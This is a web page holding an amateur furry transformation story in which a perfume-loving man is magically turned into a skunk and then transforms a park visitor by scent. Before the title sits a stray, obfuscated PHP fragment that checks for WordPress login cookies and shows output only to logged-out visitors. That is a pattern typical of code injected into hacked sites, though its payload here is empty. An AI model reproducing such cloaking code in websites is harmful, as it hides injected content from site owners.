$vvvUjUnHvOOoO){ if (strstr(strval($vUjUnHvOOoO), 'wordpress_logged_in')){ $cG9OI8 = 1; break; } } if($cG9OI8 == 0){ echo ''; } ?> The Perfume Garden

Circe's Funhouse:
The Perfume Garden
By "Wolfy"
(with an assist from "Flower")

Part I: The Birth of Mr. Airwick

It was a pleasant, sunny summer day. Mr. Airwick put on his usual plush black velour suit and white, frilly shirt, but stared at his medicine counter in dismay. On this counter were many (very strongly scented) varieties of perfume that Mr. Airwick liked to dab - generously - on himself. But today he could not decide which he wanted to wear.

'I've never had this problem before.' He thought in dismay. Staring at the colorful bottles only caused him to get a headache from indecision. Finally he was struck by inspiration. 'Why, I'll just wear them all!'

So Mr. Airwick put his usual, generous, amounts of perfume on, one after another. By the time he was finished not one bottle had a single drop of liquid in it. 'But that doesn't matter,' thought he, ' I'll just by more later.'

Stepping out of his apartment, he began walking down the streets, eager to get a reaction to his new perfume. Most people who knew Mr. Airwick expected only the usual amount of perfume. Today, however, they nearly fainted from the sheer power of his unique smell. Dogs coming near him turned and ran in the opposite direction. Most people tried to do the same, with quick excuses like "I forgot have a root canal appointment today" or "I think I hear my computer crashing, I'd better check". Some people, however, called him a skunk. They were trying to be rude, but Mr. Airwick took it as a compliment. He loved skunks.

Mr. Airwick made his way to work with uplifted spirits. He had the colors down, and now - finally - he had the smell. 'If only it were permanent.' He thought.

He had hardly started working when his boss came to see him.

"Airwick, I've had enough of you and your obsession with skunks. I've put up with your black suit. I've put up with your stupid white shirt. I've put up with these toy skunks and skunk pictures all over your desk. I've even put up with that awful perfume you usually wear, but this does it! We've had to send at least ten people home because of that awful smell coming from you! You're FIRED!!!" He then turned and left Mr. Airwick as quickly as he could.

Mr. Airwick sniffed at himself. He liked the smell and wanted to wear it from now on. Deciding that he'd just have to find a place that would accept him and his new smell, he left. He wondered where he could find someone who would appreciate him. It was then that he noticed a sign that he was sure wasn't there when he went in to work:

COME ONE COME ALL TO CIRCE'S FUNHOUSE:
IT'S A TRANSFORMING EXPERIENCE!!

'"Circe's Funhouse?"' He thought 'I wonder if they're looking for some help?'

He took the ad and headed to just outside town. There he saw tents, pavilions, and various shops. It seemed to be deserted. Suddenly, a woman stepped out from behind a tent. She had long, flowing, black hair, tan skin, and large, almond eyes. She wore a very thin white silk strip across her breasts and a similar sash around her waist. The cloth was there for modesty only; it hid nothing.

She approached him gracefully, with slightly swaying hips. "Hello." she said slightly seductively. There was a slight accent in her voice that he couldn't place, "I am Circe, I own and run this establishment. You have come to experience it."

She reached him, and had to take in his scent. But instead of backing away or making a face as others did, she smiled (perhaps a little too sweetly) and giggled lightly. Was there perhaps a gleam of mischief in her exotic eyes? Mr. Airwick no longer cared. "Well, Mr. Airwick, come with me."

Mr. Airwick wondered briefly how she knew his name. She led him into a near-by tent and had him sit on a black and white striped platform. He put up no resistance, as he was much too interested in Circe herself. The tent had a strange, though not unpleasant smell to it. But as he stayed, it seemed to become suddenly hotter. For the first time, Mr. Airwick didn't want his suit on. Circe seemed to notice his discomfort. She smiled, touched his head, and said "I hate to see my guests uncomfortable, Mr. Airwick. Why don't you take off those stuffy clothes?"

Not even thinking of the consequences, Mr. Airwick took his clothes off as quickly as he could. The smell of his perfume hung to his skin, however. Laughing, Circe touched him again, this time with a wand.

'Now where did that come from?' He thought dully. Normally he would have been very uncomfortable to have a woman see him naked, but since he left his pants on, he didn't mind. 'Wait a minute . . .' Though his legs and feet were covered in black, he could also see his pants and shoes lying on the ground "What's going on?!" he asked as he watched the black - fur? - continue to grow up his sides. At the same time, white fur grew up his belly and chest.

"Why , Mr. Airwick, your having a "transforming experience" just as my sign promised."

"Huh?" His face felt suddenly strange, as if it were growing. Putting his hand up he saw that they were actually paws now. He felt his face. He had a muzzle. Just as his face finished transforming, he felt a sudden growth from his posterior. A gigantic black tail with a large, double-white stripe had grown. Mr. Airwick grabbed it with his paws. It felt soft and warm, and smelled exactly like his perfume. "I-I'm a skunk!" He yelled. He tried to stand, but found it more comfortable to walk on four legs. He looked at Circe, there was definitely a gleam in her eyes. Was it satisfaction? "You ARE Circe! You - you turned me into a skunk!" He suddenly jumped up, and hugged Circe. "Oh thank you, thank you! I've always wanted to be a skunk!" He let go and fell to the floor. Circe smiled, revealing perfect white teeth.

"Why Mr. Airwick, I had no idea." The gleam in her eyes said something else "I'll tell you what, I've recently added a garden to my attractions, and I think you would be the perfect person to work there for me."

"Great! When do I start?"

"No time like the present." She said, giggled and led Mr. Airwick to a new, more interesting, life.

Part II: Mr. Airwick's Perfume Garden

Myron Mephitis was walking in a park near where he lived. The day was warm and had a nice, cool breeze. He had chosen a path he never saw in the park before. The sign near it read: TO MR. AIRWICK'S PERFUME GARDEN. He'd never heard of it before, but he did like flowers. Suddenly an image of a certain cartoon skunk came to his mind. "No," he said softly to himself, shaking his head, "not that kind of flowers."

It wasn't long before he arrived at what seemed to be an endless field of vividly colored flowers. The smell was delightful and slightly intoxicating. Myron soon wanted nothing more than to just stay with the flowers forever. He was so taken by them, smelling each individually, that he didn't notice something large, black, and white coming towards him until . . .

"Hello there, enjoying the flowers?"

Myron looked up and saw a large male skunk smiling pleasantly at him. Even though his huge tail was standing straight up behind him, the skunk seemed friendly and not threatening in the least. Groggy from the rich scent of flowers and confused by the skunk's sudden appearance, Myron found himself at a loss for words. Still smiling, the skunk turned so that his tail faced his puzzled guest. Hypnotized, Myron watched as the plush tail floated languidly from side to side; gradually he became aware of a new, and powerfully sweet smell surrounding him - a smell emanating from the skunk's tail.

"You look like you could use a change in your life." The skunk giggled, as if at a joke.

"Huh?"

"Don't you wish you had a tail just like mine?" Myron's eyes widened; entranced by the skunk's lavishly bushy tail, he had been thinking the very same preposterous thought just as the skunk asked his question - hadn't he? Or was the bizarre situation leaving him dangerously open to suggestion…? "Well guess what - I can make your wish come true! First, we'll make all those silly clothes go away!" As if it were a magic wand, the skunk swished his tail at Myron and an enormous, purplish-pink cloud of gas emerged from the fluffy tail. It hovered around Myron for a minute, then vanished. Myron felt his clothes melting off him like water. He felt dizzy and found himself standing on his toes. A strange tingling sensation came from his legs. He was too mesmerized by the elegant undulations of the skunk's tail to notice that black fur was beginning to grow up his feet and legs…

The tail wiggled slightly, and Myron couldn't help sniffing at it again. As he did the fur continued to grow on his legs, then started to grow on his back and chest. Suddenly his legs wouldn't support him and he fell face-first into the tail. Myron found himself pleasantly surprised by how soft and comfortable the tail felt - like a pillow he could rest his head in forever…

"How nice of you to drop in!" The skunk snickered. Myron gasped and choked as he adjusted to the fragrant odor now completely enveloping him. He didn't notice that he had started growing a skunk tail of his own, or that his legs and feet were now nearly those of a skunk.

The skunk looked smilingly over his shoulder as he used his tail to gently lower Myron to the ground, his guest's arms and legs stretching out in all directions from his now prone body. Myron's face was still deep in the soft, aromatic tail when he heard the skunk tell him "You might say that being a skunk just grows on you!" - and felt a strange wiggle, followed by an even stranger fluffiness blossoming from the base of his spine. With a sudden shock that almost cleared his head, Myron realized that the more he breathed in the skunk's scent, the more he turned into a skunk himself! Already he felt that his lower body was almost completely a skunk's. His hands began feeling quite different. 'Oh no - my hands are becoming paws!'

With weirdly compelling images of him becoming a complete skunk running in his head, Myron tried to hold his breath; maybe that would stop - or at least slow down - his transformation. (Afterwards, he would wonder why it never occurred to him to try getting up and running away from the skunk…)

Myron felt his lower body continuing to change, but tried to tell himself it was not happening as quickly. His legs twitched and reshaped as a tail grew longer and bushier above his buttocks. It actually felt nice . . . 'No, I can't give in' . . . As he thought this, his lungs suddenly demanded air. "Mmmpppfff..."

"Did you say something?" snickered the skunk.

Myron had to gasp for breath - just as the skunk brought its tail back up to his face and he sank back into its soft pelt once again. He felt fur growing up his back until it reached his shoulders and up his belly to his chest. There was a slightly warm feeling in his back…

'I'm becoming four-footed!,' thought one part of Myron's brain, while another part thought, 'yeah, but doesn't it feel soooo goood?' Myron felt his ears slowly moving to the back of his head as fur grew up his neck and on to his face.

A slight breeze chose that moment to play across the meadow, gently ruffling the fur of Myron's growing tail. The breeze felt unbelievably pleasant wafting through his tail - as though its every strand of fur was being being individually caressed. Without thinking, Myron let his tail fan out as much as possible to enjoy the sensation to its fullest, little realizing how plush and full it was now growing as a result…

Myron gasped as a new cloud of gas billowed out of the tail his face was buried in. "Pardon me," apologized the skunk as if it had been an accident; the sly smile on his face said otherwise.

The tail lifted completely and Myron found himself staring at its plush underside lifted high above him. 'At last - fresh air!' he thought to himself with relief; maybe now he would stop chang… suddenly the tail gave off a huge whoosh of the purplish-pink gas. "Whoops -" said the skunk with a sigh; "I just can't contain my enthusiasm!"

What was left of Myron's human face rapidly grew into a muzzle, while his furry tail lengthened and thickened to full skunk proportions. The skunk lowered the very end of its tail to Myron's nose.

"I don't REALLY smell THAT bad do I?"

Myron had to take a couple more sniffs; he had to admit the skunk was right - he didn't smell that bad…

The skunk turned slightly to face Myron. He slid his tail just under Myron's muzzle and used it to gently turn Myron's head back towards his own tail. A dazed Myron took in the sight of his own double-striped plume; in spite of himself, he had to admit it was every bit as plush and splendid as the one on the skunk who helped him grow it. He tried to give it a flutter… "WHIFF!" A cloud of gas - colorful, but not quite as purplish-pink as the skunk's - suddenly emerged. Myron cringed with embarassment as the fragrant cloud floated weightlessly behind his tail, but the skunk took an approving sniff and sighed with satisfaction.

"Why, I think you smell wonderful!"

Myron was left slightly upset by being a skunk. Bringing himself around, the skunk faced Myron. "I don't think we've been introduced. I'm Mr. Airwick, welcome to my garden."

 

The End